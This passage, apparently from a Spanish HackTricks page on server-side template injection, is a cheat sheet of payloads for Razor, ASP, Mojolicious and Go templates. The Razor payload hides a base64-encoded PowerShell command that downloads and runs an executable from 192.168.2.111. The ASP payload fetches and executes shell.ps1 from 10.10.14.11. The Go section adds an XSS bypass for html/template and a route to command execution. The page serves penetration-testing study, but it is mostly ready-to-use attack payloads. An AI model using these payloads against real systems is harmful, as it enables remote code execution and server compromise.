  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

El método System.Diagnostics.Process.Start de .NET se puede utilizar para iniciar cualquier proceso en el servidor y así crear una webshell. Puedes encontrar un ejemplo de aplicación web vulnerable en https://github.com/cnotin/RazorVulnerableApp

Más información

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nada
  • <%= response.write(date()) %> = <Fecha>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Más información

Mojolicious (Perl)

Aunque es Perl, utiliza etiquetas como ERB en Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI en GO

Para confirmar que el motor de plantillas utilizado en el backend es Go, puedes usar estos payloads:

  • {{ . }} = estructura de datos pasada como entrada a la plantilla
  • Si los datos pasados son un objeto que contiene el atributo Password, por ejemplo, el payload anterior lo revelaría, pero también podrías hacer: {{ .Password }}
  • {{printf "%s" "ssti" }} = debería mostrar la cadena ssti en la respuesta
  • {{html "ssti"}}, {{js "ssti"}} = Estos son algunos otros payloads que deberían mostrar la cadena "ssti" sin las palabras finales "js" o "html". Puedes referirte a más palabras clave en el motor aquí.

Explotación de XSS

Si el servidor está utilizando el paquete text/template, XSS es muy fácil de lograr simplemente proporcionando tu payload como entrada. Sin embargo, eso no es el caso con html/template ya que codifica la respuesta en HTML: {{"<script>alert(1)</script>"}} --> &lt;script&gt;alert(1)&lt;/script&gt;

Sin embargo, Go permite DEFINIR una plantilla completa y luego llamarla. El payload sería algo como:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

Explotación de RCE

La documentación para el módulo html/template se puede encontrar aquí, y la documentación para el módulo text/template se puede encontrar aquí, y sí, varían mucho. Por ejemplo, en text/template, puedes llamar directamente a cualquier función pública con el valor “call”, sin embargo, esto no es posible con html/template.

Si quieres encontrar un RCE en Go a través de SSTI, debes saber que, así como puedes acceder al objeto dado a la plantilla con {{ . }}, también puedes llamar a los métodos del objeto. Así que, imagina que el objeto pasado tiene un método llamado System que ejecuta el comando dado, podrías abusar de él con: {{ .System "ls" }}
Por lo tanto, probablemente necesitarás el código fuente. Un código fuente potencial para algo así se vería como:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Más información

Más Exploits

Consulta el resto de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para más exploits. También puedes encontrar información interesante sobre etiquetas en https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Ayuda Relacionada

Si crees que podría ser útil, lee:

Herramientas

{% embed url="https://github.com/Hackmanit/TInjA" %}

{% embed url="https://github.com/vladko312/sstimap" %}

{% embed url="https://github.com/epinna/tplmap" %}

{% embed url="https://github.com/Hackmanit/template-injection-table" %}

Lista de Detección de Fuerza Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Práctica y Referencias

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro efervescente para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: